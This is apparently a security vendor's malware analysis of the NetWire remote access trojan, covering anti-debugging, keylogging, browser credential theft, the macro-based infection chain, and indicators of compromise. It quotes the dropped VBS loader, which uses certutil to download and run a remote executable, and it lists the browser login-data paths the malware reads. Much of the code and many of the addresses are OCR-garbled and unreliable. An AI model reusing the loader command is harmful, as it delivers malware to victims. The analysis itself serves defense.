Analysis of Netwire RAT

Y Imntrix.com/lab/analysis-of-netwire-rat/

The NetWire RAT is malicious remote access trojan that emerged in the wild in 2012. This
multi-platform malware was developed by World Wired Labs, and the program has since
undergone several developmental upgrades. It is capable of infecting Windows, Linux, Mac
OS operating systems. The malware developers have another program called PWNDROID
released in mid-2020, for the Android platform. A company advertising the remote access
tool frequently used by criminals and, nation-state threats may be serving as a front for
Chinese hacking groups, according to new research published recently.

The PWNDROID Android malware type, which can be used to listen in on targets’ phone
calls, capture audio, send and receive text messages, and track victims’ geolocation. Multiple
groups with possible ties to the Chinese government, is thought to have used it, according to
LMNTRIX CDC.

Recent APT attacks which leverage and drop the NetWire payload get distributed via social
engineering e-mails. This Trojan (RAT) is mainly focused on password stealing and
keylogging, as well as including remote control capabilities. Recently, NetWire has been
distributed via Microsoft office documents and spreading their secondary payload attacks
especially GuLoader campaigns.

Target OS: Windows, Linux, Mac OS
Motivation: Remote Access Tool & APT Campaigns

Threat Actors: APT33, The White Company & Silver Terrier groups potentially use the
Netwire RAT.

Static Analysis

Sample: NetWire Remote Access Tool

SHA256: e4029ef5d391b9a380ed98a45f3e5a01eecebb7a1120ab17d6db0f8bb1309a47
Filetype: Portable Executable (EXE)

Common Anti-Debugging Methods Used

When the sample was loaded into Ollydbg, and we got the disassembly to start with, NetWire
displayed the following error message. In addition to this error message, the malware uses
NtWow64ReadVirtualMemory64 from NTDLL to query the PEB (process environment block),
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and a timing based check such as GetTickCount from Kernel32.DLL are used to thwart
debugging.

5 1FO000G0 | CALL NetWire_.DOFREACH A
-5 EUSH EER
. 6 D073 0%, BVTE PTR £S: ED1Y 140 cammand
. gc 165555 zo| T EBP, DWORD PTR 55z [BP+651, 74654E20
. 6963 €5 6E736| IMUL_ESP, DWORD PTR_DS: [EBX+651, 726F736E
. 2076 32 AND BYTE PTR D51 [ESI+32],0H
. 2E:312E XOR DWORD' PTR CS:[ESI], EBP
. 392 CHP DWORD PTR DS:[ESI], EBP
. 3009 #OR BYTE PTR DS:[EAR,AL
§9C PUSHED
3 PUSHAD
. 896C24 6C HOU BYTE PTR S5:[ESP+C1,CH
. £6:895424 19 |MOU WORD PTR 5€|EE€P°1.BJ [
~ES 24FFFFFF \_J|r1P Hethlire_.

.

z Q'I ED
EiFF7424 83 PUSH WORD PTR S5:(ESP+3)
&:FF7424 81 =1

7 PUSH_WORD PTR ESP+1]
. 24 aC LER ESP,DWORD PTR SSkEESPrC]
. 20 AS5@5ABE  SUB EAX,Metllire_.0@5 Entry address
.>" 9 64FEFFFF .JI‘1P Ngtl.l ire_ .W996459
. UQ'I ESP
3 D3 HCHE EBX, EDX
5 FOF ED
. £897C24 88 HOU WORD FTR SSI [ESF+81,D1
5 éE61F248 HOU EEF, 48F 264

S@1eeea | JMP Net'.l ire_ .WQPGGFB
0E @
'4

CHAR *Y*

DE B2

» :8BEC24 B4 MOV BX,WORD FTR SS:[ESP+4] [ 2l
: PUSH EDX NetWire X
. 7424 B2 PUSH DWORD PTR SS:[ESP+2]
. 80% VS15TEBA LEA EOX,DWORD PTR DS: [ESI+BATE197E]
. SEFE Hou ED[.EFH _
. E CF ﬁﬁ;‘mSHmT Hetli BESAE4FE €.
| ethire_. i i tori i
B Sonome [Pl e e Bor I,Q Please disable debugging or monitoring tools and try again.
> 874424 B2 HCHE DWORD PTR S5: [ESP+21, ERX -

618803 MO DX, BX

E0E HEG DH
. BFB424 POP DWORD PTR SS:[ESP]
v 53 92080000 JI‘IP NNI.I ire_.0O9R65D4

£0 0B IJ
« FC

F

S T4CACEES I‘IDU ECK. EB4CACAT
S DEFFFFFF CFILL Htuwlrc_‘GQEGéEZé

4 4R I1
O DC234CE41  SUE ERK.41C63WC
1B 43CEE843 gEL DWORD PTR DS:[EAX+4388C6431, 1

5 44 BAD 4 W
'ZB} F2EAE0E4 EI::IIH UUWD PTR D51 [ECH+54806832] -

Keylogger Functions

Based on the familiar CPP functions & a lot of functions being imported from MSVBVMG60,
MSVCRT and MSCOREE DLL files, we believe the developers may be using Microsoft VC++
and/or Delphi for NetWire RAT.
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-maxstack 2
.locals init (bool V@,
bool V1,
bool v2)
- nep
N 1darg.2
N callvirt instance char [System.Windows.Forms]System.Windows.Forms.KeyPressEventargs: :get_KeyChar()
N call bool [mscorlib]System.Char::IsControl{char)
N stloc.@
N ldloc.@
: brfalse.s loc_2760
nop
N ldstr  aWeHaveAControl // "we have a control character: {8}"
N 1ldarg.2
N callvirt instance char [System.Windows.Forms]System.Windows.Forms.KeyPrehsEventArgs: :get_KeyChar ()
N box [mscorlib]System.Char
N call string [mecorlib]System.String mat(string, ocbject)
N call valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox: :Show(string)
N pop
nop
, lec_2760: // CODE XREF: Basic_windows.frmMain__textBoxBalance_KeyPress+Et]
1darg.2
N callvirt instance char [System.Windows.Forms]System.Windows.Forms.KeyPressEventdrgs: :get_KeyChar()
N call bool [mscorlib]System.Char::IsControl(char)
- brtrue.s loc_2796
N ldarg.2
- callvirt instance char [System.Windows.Forms]System.Windows.Forms.KeyPressEventArgs: :get_KeyChar()
N call boel [mscorlib]system.Char::IsDigit(char)
- brtrue.s loc_2796
N ldarg.2
- callvirt instance char [System.Windows.Forms]System.Windows.Forms.KeyPressEventargs: :get_KeyChar()
N ldc.i4.5 @xiE
. ceq
N ldc.i4.@
. ceq
2 br.s loc_2797
Function name Segment Start Length Locals Arguments
Basic_windows.Timer__.cctar seg00 000069F0 00000027
Basic_windows.Properties.Resources_.ctor seg000 00006430 00000009

indows.Properties.Resources__get_ResourceManager seqg000 00006440

indows.Properties.Resources__get_Culture

indows.Properties.Resources__set_ Culture seq000
indows.Properties.Resources_get_dialog_error seq000 00006440 000000
- windows.Properties.Resources_get_dialog_information seq000 f, 00000021
indows.Properties.Resources__get_dialog_passweord seq000 00000021
indews.Properties.Resources_ get_dialog_waming seg000 6830 (000000
sic_windows.Properties.Resources__get_image_missing seq000
indows.Properties.Resources_get_meeting_participant_optional segl
indows.Properties.Resources_ get_meeting_participant_reply seq000
Basic_windows.Properties.Resources__get_yKeDr seq000 00006BFO 000000
Basic_windows.Properties.Settings__get_Default segl00 00006230 0000000E
Basic_windows.Properties.Settings__.ctor seq000 0000640 00000008
Basic_windows.Properties.Settings__. cctor seg000 00006C50 00000015
Function__.ctor seq000 0000680 00000001
Function_Invoke seg000 0000690 00000001
Function_ Beginlnvoke segl00 00006CAQ 00000001
Function__EndInvoke seq000 00006CBO 00000001
_c_ DisplayClass35_0__.ctor seg000 00008CED 00000008
_c_ DisplayClass35_0_ Play b_0 seq000 00006CFD 0000002F
_c_ DisplayClass37_0_1_ .ctor seg000 00006030 00000008
_c_DisplayClass37 01_ Play b_0 seg000 00006040 0000002F
_c__DisplayClass37_0__.ctor seq000 00006090 00000008
_tc_ DisplayClass37 0__Play b_0 segl00 000060A0 00000024
[F1 - Dicnlawlace28 N1 ctar el NONNANEN nnnNnNNg

GetUserName, GetSecuritylnfo, GetMonitorinfoA, GetLogonSessionData, and Key Press
Events are monitored by the NetWire malware sample. A logged on user’s session data,
encoded base 64 strings, key state, key press and keyboard events being monitored could
hint at keylogging functionality.
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[=] NetWire_Decoded_Strings < E3

131 VaultEnumerateltems

132 VaultGetItem

133 VaultGetItem

124 VaultFree

135 '%S\Google\Chrome\User Data\Default\Login Data
136 %3\ Chromium\User Data\Default\Login Data

137 %3\ Comodo\Dragon\User Data\Default%Login Data
132  3s\Yandex\YandexBrowser\User Data\Default\Login Data
132  %s\Opera Software\Opera Stable\Login Data

140 GetModuleFileNameExA

141 GetModuleFileNameExA

tzh\systen32\ocmd. exe

advapi3z2.dll

GetUserNamel

USERNAME

GetNativeSystemInfo

14 kernel3Z.dll

148 SYSTEM\CurrentControlSet\Control\ProductCptions

r
1 o LN oWl Ld R

After dumping the strings from our sample PE file, and decoding them with IDAPython, we
can realize that the keylogger also records and sends login data from popular web browers
such as Firefox, Chrome and Internet Explorer to the NetWire Admin Workstation. The
NetWire keylogger module encodes the keystrokes logged after stealing credentials from the
logged on user, prior to sending it to NetWire Admin Workstation. You can find a copy of the
NetWire log decoder from GitHub.

Refer https://github.com/ArsenalRecon/NetWireLogDecoder

Payment Data Being Stolen
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TOSTE.©

: «call instance void Basic_windows.frmMain::InitializeComponent()
nop
N 1darg.®
N newobj  instance void class [wscorlib]System.Collections.Generic.List’ l<class Blnkln;‘ﬂm*:wunh!!-:tol'[]
N stfld  class [mscorlib]System.Collections.Generic.List leclass Banking.BankAccount> Basic_windows.frmMain: :accounts
ret
ol 1
.method private hidebysig instance void btnMessage Click(object sender, class [mscorlib)System.Eventdrgs e)
DATA XRE indows . fraMain iali ponent+2F24r
.maxstack 8
. nop
N ldstr  aTheNameOfTheNe // "The name of the new customer is "
N ldarg.@
N 14fld  class [System.Windows.Forms)Systes.Windows.Forms.TextBox Basic_windows.frmMain: :textBoxName
N callvirt instance string [Systes.Wind m.Windows . Forms . Control: iget_Text()
N call string [mscorlib]Systes.String:: tring, string)
: call valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [Systes.Windows.Forss]System.Windows.Forms.MessageBox: :Show(string)
pop
- ret
ol }
.method private hidebysig i void lance_KeyPress(object sender, class [System.Windows.Forms]System.Windows.Forms.KeyPressEventargs e)
aw Main_ Initi eCompe 1784r
{
.maxstack 2
.lecals init (bool Ve,
bool V1,
bool V2)
. nop
N 1darg. 2
- callvirt instance char [System.Windows.Forms]System.Windows.Forms.KeyPressEventArgs: :get_KeyChar()
N call bool [mscorlib]System.Char::IsControl(char)
N stloc.@
.' ldlac.a
ng
¢
. 1}
«method public hid, ig vnl1 drawal(val [mscorlib)System.Decimal amount, valuetype [mscorlib]System.DateTime date, string note)
-maxstack 3
.locals init (class Banking.Transaction Ve,
bool V1,
beol v2)
N nop
N ldarg.1
N 1dsfld  valuetype [mscorlib]Systes.Decimal [mscorlib]System.Decimal::Zero
N call bool [mscorlib]System.Decimal::op GreaterThanOrEqual(valuetype [mscorlib]System.Decimal, valuetype [mscorlib]System.Decimal)
N stloe.1
N ldloc.1
2 brfalse.s loc_141
N nop
- ldstr  aAmount “amount”
- ldstr  aAmountOfiithdr “amount of withdrawal must be negative”
N newobj  instance void [mscorlib]System.ArgumentOutOfRangeException::.ctor(string, string)
- throw
loc_141: // CODE XREF: Banking __MakeWithdrawal+Et]
- ldarg.@
N call instance valuetype| [mscorlib]System.Decimal Banking.BankAccount::get_Balance()
N ldarg.1
b call valuetype [mscorlib]Systes.Decimal [mscorlib]System.Decimal::op_Subtraction(valuetype [mscorlib]System.Decimal, valuetype [mscorlib]System.Decimal)
- ldsfld  valuetype [mscorlib]Systes.Decimal [wscorlib]System.Decimal::Zerc
N call bool [mscorlib]System.Decimal::op_LessThan({valuetype [mscorlib]System.Decimal, valuetype [wmscorlib]System.Decimal)
- stloc.2
N ldloc.2
2 brfalse.s loc_167
N nop
N ldstr  aNotSufficientF Mot sufficient funds for s withdrawa™... |
: newob]  Instance vold [mscorlib|System.InvalldOperatlonExceptl ~ctor(string)

throw

LMNTRIX CDC analysts discovered payment being collected for exfiltration by NetWire
trojan while investigating the keylogger module further.

Remote Access Tool (RAT)
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5--@“&{]}
Poh 1-(wlib.exe)

E--a Constant (386)
{2 CustomAttribute (271)

.method private hidebysig instance void DoAcceptTCPClientCallBack(class [mscorlib]System.IAsyncResult ar)

.maxstack &

.lecals init (class [System]System.Net.Sockets.Teplistener v,
class [System]System.Net.Sockets.TcpClient VI,
class LLRP.delegateClientConnected vZ)

nap
Lty {
nop

ldarg.1

callvirt instance object [mscorlib]System.IAsyncResult::get_AsyncState()
castclass [System]System.Net.Sockets.TcpListener

stloc.@

ldlec.®

1darg.1

eallvirt instance class [System]System.Met.Sockets.TepClient [System]System.Net.Sockets.TepListener::EndacceptTepClient(class [mscorlib]System, TAsyncResult)
stloe.1

ldarg.®

ldlec.1

callvirt instance class [System]System.Met.S5ockets.NetworkStream [System]System.Net.Sockets.TcpClient::GetStream()

stfld class [System]System.Net.Sockets.NetworkStream LLRP.TCPIPServer::ns

ldarg.@

1dfen i woid LLRP.C icationl face::TriggerOnClientConnect()

newobj 1 wvold LLRP.del lientCe d::.ctor{object object, native int methed)

stloc.2
ldloe.2
1dnull
ldnull
callvirt instance class [mscorlib]System.IAsyncResult LLRP.del lientConnected:

B class [mscorlib]System.AsyncCallback callback, cbject cbject)

pop
1darg.@
1 s

Netwire Deve‘lo'per.s from World VV‘iFed Labs have implemented the remote access tool
functionality using a simple TCP Client-Server model with sockets.

Dynamic Analysis

Infection Chain
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Spam campaign of Phishing email Attachment document of .XLS
Y ) %
S m =

Macro enabled content Conhost.exe Using wscript file to drop the payload Connecting to CNC server
file in the %temp% folder

NetWire infects its victims using initial infection vectors of the mal-spam variety with e-mail
attachment (EML). It contains a Microsoft Office (Excel) document with VBA macro enabled
content. The malware tricks the user to enable the macros to perform malicious actions.
Once the user enables the macro content, using Wscript file to drop a payload file in the
%temp% folder, it then invokes a web-request and connects with the designated C2 server
for further infection.

Sample Information

Technical Analysis of XLS

| SECURITY WARNING Macros have been disables

Picture 1 = f

Document created in earlier version of
Microsoft Office Excel

To view this content, please click ("Enable Content") from the yellow bar above

Sheet1
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Once the user opens the attached document, there’s a fake Excel template displaying a
message “Document created in earlier version of MS Excel” upon enabling the content, the
victim now views the content. With the help of this malware the threat actor can trick the user
to view the document, and infect them for further malicious actions.

Embedded Macro Content: Screenshot 1

Qzm

Embedded Macro Content: Screenshot 2
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> tkWDniHCzgEwJ™

jvGnYHpSpiRNGryDKLA™

XqQREtuFmzGGBGhbdM1 ZupTk =
EC wDgt

Qz TQA = E( ) T
VBA code in the screenshot (above) is obfuscated with random functions in order to hide the
exact code. It’s one of the tricks used by the malware author. Macros is a programmable
pattern which translates a certain sequence of input into a preset sequence of output.
Macros can make tasks less repetitive automating a complicated sequence of keystrokes,
mouse movements, commands, or other types of user input.

m"

Macro-Enabled, Process Tree

t ||| wininit exe: 452 1,004 K 4,940 K Windows Start-Up Applcation
—nT winkogon exe 488 1916 K 8,576 K Windows Logon Application
m LogonUl exe 780 9,560 K 41,644 K Windows Logon User Interfa
L | W | dwm.axe 788 13312K 29,380 K Desktop Window Manager
- W |CSSS ene 3004 021 1872K 6,980 K Client Server Runtime Process
0 C u I I | e — |7 winlogon exe 2900 2,100K 10,084 K Windows Logon Application
W] dwrmn exe 796 062 35,768 K 114,736 K Desktop Window Manager
—| -, explorer axe | 3064 214 3,780 K 98,776 K Windows Explorer |
- 2 procexp4 exe 3384 372 14,300 K 35,008 K Sysintemnals Process Explorer
Microso i
/I notepad exe 2304 2336 K 15,776 K Notepad |
) 5 — [} EXCELEXE 116 <001 58,764 K 85,172 K Microsoft Excel
To view thIS cont — @ cmd ave 1280 8036 K 12,156 K Windows Command Processor
| conhost exe 728 005 5264 K 10,868 K Console Window Host
]
—|dp wscript exa 3306 3,708 K 14,660 K Microsoft ® Windows Based ...
— [l emd exe 3206 051 17,836 K 39,172 K Windows Command Processor
Sheet1 ¥ Help i conhost exe 2212 5252K 10,812 K Console Window Host
Read  limeout exe 3964 003 1284K 4,784 K timeout - pauses command p...

6;'r"10e the macros are enabled, using the Wscript shell to execute and drop the payload file in
%temp% folder [ Actual, file will be BIN[.]exe].

Dropped VBS Script
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C:\Users\user\AppData\Local\Temp\scriptvbs &3 Downioad File [

Process

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP;
MDS

SHA1:
SHA-256:
SHA-512:
Malicious:

Preview

C:\Windows\System32\cmd exe [

ASCII text, with CRLF line terminators

dropped

292

4.9306387803032535

false

6:FERIFHBbmGGRJ3TLNHMXPP2 3ACA/IFHIBbkPP2Z3flAF ¢ +RAVpSBPIrXWzlACA vpxzlAFc
ESE44BEAT27758EDTT727323ABC54668 [
F5EB7B48E6247T1AT405357CFTETTIFES1C003448 [
3E451F9115D8FOBCBEO0B061F211A230B60EDB25F C62504E8E33C5C932843050 ()
2FEBE4ADC2BFC39D50821E566BB90CBF2913592F9D0780ESACO8DCEAFDTBIFBTT26139FFCCOTFFE15F BSA2TO67DE930917T4A858BDCEES490CAEAFAFTAE2BAADA [
true

CreateObject("WScript.Shell”).Run "cmd.exe /c certutil.exe -urlcache -split -f " + “https://teleldyne.com/paytm/jarred.exe” + " " + "C:\Users\user\Ap
pData‘lLocal\Temp\bin.exe", @, True ..CreateObject({"WScript.Shell").Run "cmd.exe /c C:\Users\user\AppData\Local\Temp\bin.exe", @, True

Here the command is very straight forward, using the cmd[..Jexe the malware connects to the
malicious domain and drops the payload file in the Windows %temp% folder. The dropped
vbs file gets executed in %temp% folder as well.

Dropped Payload file

C:\Users\user\AppData\Local\Temp\bin.exe % €} -

Process
File Type:
Category:
Size (bytes)
Entropy (Bhbit):
Encrypted:
SSDEEP
MD5:
SHA1:
SHA-256
SHA-512
Malicious
Antivirus:

Preview:

Initial — Indicator of Co'mpromi's-es [10C] '

C:AWindows!System32\certutil.exe [
PE32 executable (GUI) Intel B0386 Mono/ Net assembly, for MS Windows
dropped
870912
7.08117965948156
false
12288:AlbZLATwepdbdbdbdbduM2M29kVnCcDS3ejMeQE95FADphnulDX+bZuS04 TXdg: LZHKBBEBRZO0OmMLxhY8GmC
AEFBDS5E34F59619E683CEFO05650370D |j
575ECECB0ED8SBDE3ES3EA4F42CCOESC301635F6 (1)
AB5TE231DF36154 107B54EBO5BE0BAB1FIE2D64TTB163EDAS2TBFBASCSTASBAB [
102478813CC5601 74DSTCT30ASCE2T9A1950181021528B821C0DAS14B9154DAABTFB1CI0003BAF3F051CAB1BCOESZ28106BE 19A310BB133DEBADCSABTOB16076E8 G
true
+ Antivirus: Joe Sandbox ML, Detection: 100%

MZ.... 8

..!..L.!This program cannot be run in DOS mode....$....... [ AAhncmmnanns
a aaPFaleasalss

4F 4E 4E 45 43 54 20 74 65 6C 65 6C 64 75 6E 65 ZE 63 &F 6D 3A 34 34 33 20
54 54 50 2F 31 ZE 30 OD OA 55 73 €5 72 2D 41 67 €5 6E 74 3A 20 43 65 72 74
74 €9 6C 20 55 52 4C 20 41 €7 65 6E 74 OD OA 48 €F 73 74 3A 20 74 65 &C &5
64 79 6E €5 2ZE €3 6F 6D 3A 34 34 33 0D OA 43 6F 6E 74 €5 6E 74 2D 4C 65 6E
74 €8 3A 20 30 OD OA SO 72 €F 78 79 2D 43 €F 6E €E 65 €3 74 €9 6F 6E 3A 20
€5 €5 70 2D 41 €C €5 7€ 65 OD OA 50 72 €1 €7 6D €1 3A 20 6E 6&F 2D €3 61 &3
65 0D OA OD OA

Once communicating with the malicious URL, it’s silently drops a .VBS script file in the
%AppData% folder to perform further malicious actions.

Preventive Measures

o Usage of anti-malware software such as antivirus or, any endpoint protection such as
LMNTRIX EDR / EPP with updates.
» Beware of e-mails from unknown contacts or, untrusted external sources.
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o Always make it a practice to scan attachments that you may find suspicious, especially
when the e-mails are related to financial or delivery correspondence, documents, and
URLSs.

o Use a strong password, preferably 16 to 18 characters, or more with a combination of
alphabets, numbers and symbols.

» We recommend using multi factor authentication for website login / passwords for all
websites.

Indicators of Compromise to detect NetWire RAT

IP Addresses
94[[.11237[[.]128[[.1]110
194[[.]15[[.]198[[.]148
185[[.]]183[[.]198I[.]] 166
185[[.]]222[[.]157[[.]]164
194[[.]I5[[.]198][.]1188
171[[.1122[[.]130[[.]]121
185[[.]]140[[.]153[[.]]1252
194[[.]1147[[.]]1140[[.]]4
87[[.1166I[.11106][.]]20
[L]181[[.1162[[.]]106
31[[.]41[1.1]244[[.1]150
154[[.]1118[[.1125[.]]216
79[[.11134[[.]]225[[.]]28
104[[.]]168[[.]]148][.]]85
185[[.]]140[[.]]53[[.]161
79[[.11134[[.]]225[.]]10
185[[.]]140[[.1153[[.]]183

184[[J75[[.]1221[[.]]171
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45[[.]1137[[.1122[[.1101

213[[.]]152[[.1]161[[.1]133

185[.]29[.19[.]11

Hashes
07336CC7355B9C4A1553A93D24EBB30A502053339E05FFB57476890D2967B6FC
2387DFD712B954C865BB4927F0628C54BF30B9A115B2383C2DFF63456885463A
F488FEAC7359DABA38B793855A5D2369404956892CA23DB7530DC04D77530490
F6226702EC3DED25EC5E0D7D1CBAAE386540E990857EC7604EC93284113B4897
0005A4FB06BB5CACCA4A89B372543A3EFFB0931AF26B0B17D8661B691B401811
E4029EF5D391B9A380ED98A45F3ES5AQ01EECEEB7A1120AB17D6DBOF8BB1309A47
DCAC7C0A08250B164343C102EF9D863A49C44343C6CE3EOCD1197CB7E3198937
8F24221CAEF706D4502572968C0CF1317E632EBCB64157A5A1DAFBDDE7FC642C
1F8B6EBCOFBDB35C0B214652B69360C8DD78B569C9AF9C1B355DD11F277624E2
BCOASE730EBBEG6A98F6AA755671661158A982983898E45D306F79EC608250FE
50050A189F878A24B57ACEDF046ACFE5011DAE30F50A21054A75FCDA2947FF5B
459A609FFDE4325A1E55F7BOA788AB5CF978D3E07C54349B9F9E50F 1E6875C89
F631EF4CE81B9A0984D44A9468DB2AE30CB37BDAD67AAEB43F53D50039D8C5AA
0CDC6A0C287876DBCFC14A93CAESEBGFEB6938142814A9FB4E403F000D469CAB
3AFEECABSEE5FA67BF62BB84C10E02FE82032CBE034CCB4588708367FD5D66ESF
45CFB912F4CEED9DCFOEEE01F36A1C581A0E881301D73A2E1E459E48488B95BA
A21C8EF38B35EDA08AF936729863498EAD8F750DE997BC2D55FF9DA429872E33
848A8084A39B1BFA98C65BOE55BF91460B82470A3F9F5B31D7464C400A9DA355
637E17723EA88878915BA42095680EE5438C22A88A4538137B3174DD4E2E8C6A
4C01CC3DD96C524054207F6B37A334C62549857F

Domains
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8ea1042a1912][.]Ingrok][.]Jio
e0fb-34-121-202-111][.]Ingrok][.]lio
d61a2ce46962[[.JIngrok([.]lio
2d9076b51d13[[.]]ngrok{[.]Jio
8ef6280b4602c[[.]Ingrok][.JJio
ebc79a7f69ed[[.Jingrok][.JJio
3a47ff97 1faf[[.]Ingrok][.Jlio
30fdb4c296af][.]Ingrok][.]Jio
192913f09fa8][.]Ingrok][.]Jio
52¢0ff58833f[[.]Ingrok][.]Jio
ce47174fc1d2[[ Jingrok([.]lio
9ea2ac777bb9[[.]ngrok[[ Jlio
4651479¢198f][.]Ingrok][.]Jio
6856dac09e83[[.]Ingrok][.]Jio
Ob1atcdfc942[[ Jingrok([.lio
c5040e5692¢f[[. ]ngrok{[.]Jio
e5d6f8fc0027[[.]Ingrok][.]Jio
jcole-Ims][.]Ingrok[[ Ilio
877de57c5ace][.]Jngrok][.]Jio
5927¢359¢3c][.]Ingrok(L.Jlio
love82[.Jduckdns].Jorg

Registry Entry
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\NetWire

HKEY_CURRENT_USER\Software\NetWire\Hostld
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MITRE ATT&CK Tactics & Techniques

ID Tactic Technique

TAO0001 Initial T1566.001 — Spearphishing Attachment T1566.002 —
Access Spearphishing Link

TA0002  Execution T1027 — Obfuscated Files or Information T1059.005 — Visual

Basic T1204.002 — Malicious File

TA0003 T1053.005 — Scheduled Task T1547.001 — Registry Run Keys /
Persistence Startup Folder

TA0004 Privilege T1053.005 — Scheduled Task
Escalation

TA0005 Defense T1027.002 — Software Packing T1055 — Process Injection
Evasion T1055.012 — Process Hollowing T1497.001 — System Checks

TA0006  Credential T1003 — OS Credential Dumping T1110.001 — Password Guessing
Access T1555.003 — Credentials from Web Browsers

TAO0O7 Discovery T1016 — System Network Configuration Discovery

TA0011  C&C T1071.001 — Web Protocols T1090 — Proxy T1090.002 — External
Server Proxy
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